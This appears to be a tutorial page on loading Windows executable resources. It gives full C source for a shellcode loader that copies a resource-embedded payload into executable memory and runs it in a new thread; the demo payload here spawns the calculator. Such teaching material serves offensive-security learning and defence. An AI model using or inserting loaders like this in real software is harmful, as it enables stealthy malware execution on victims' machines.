← Learn

Load Resources

Author
Moise Medici
Updated
22 Jan 2026 · Completed

A modified example

The code presented above can be changed to create a new process that executes the payload in the resources instead of writing it to a file.

load_resource_execute.c
#include <processthreadsapi.h>
#include <windows.h>
#include <stdio.h>
#include <winnt.h>
#define RET_SUCCESS 0
#define RET_ERROR -1
int main() {
HRSRC hRsrc = NULL;
HGLOBAL hRes = NULL;
HANDLE hFile = NULL;
PVOID pData = NULL;
SIZE_T resSize = 0;
DWORD bytesWritten = 0;
hRsrc = FindResourceW(NULL, L"CALCICO", MAKEINTRESOURCEW(10));
if (hRsrc == NULL) {
printf("Cannot locate resource, error: %lu \n", GetLastError());
return RET_ERROR;
}
resSize = SizeofResource(NULL, hRsrc);
if (resSize == 0) {
printf("Cannot get the size of resource, error: %lu \n", GetLastError());
return RET_ERROR;
}
hRes = LoadResource(NULL, hRsrc);
if (hRes == NULL) {
printf("Cannot load resource, error: %lu \n", GetLastError());
return RET_ERROR;
}
pData = LockResource(hRes);
PVOID pVirtualAllocAddr =
VirtualAlloc(NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pVirtualAllocAddr == NULL) {
printf("Cannot run virtualAlloc, error : %lu \n", GetLastError());
return RET_ERROR;
}
memcpy(pVirtualAllocAddr, pData, resSize);
memset(pData, '\0', resSize);
HANDLE hCreateThread = CreateThread(NULL, 0, pVirtualAllocAddr, NULL, 0, NULL);
if (hCreateThread == NULL) {
printf("Cannot run CreateThread, error : %lu \n", GetLastError());
return RET_ERROR;
}
WaitForSingleObject(hCreateThread, INFINITE);
return RET_SUCCESS;
}

To compile the files, the commands are the same as above.

The code presented here is the same in terms of loading the resource; the only difference is what is done with it. It is not within the scope of this page to explain all the details of the functions used. However, at a high level, memory is allocated in the running process for the resource; the resource is then copied into that memory region and executed in a new thread.

Upon execution, the calculator spawns.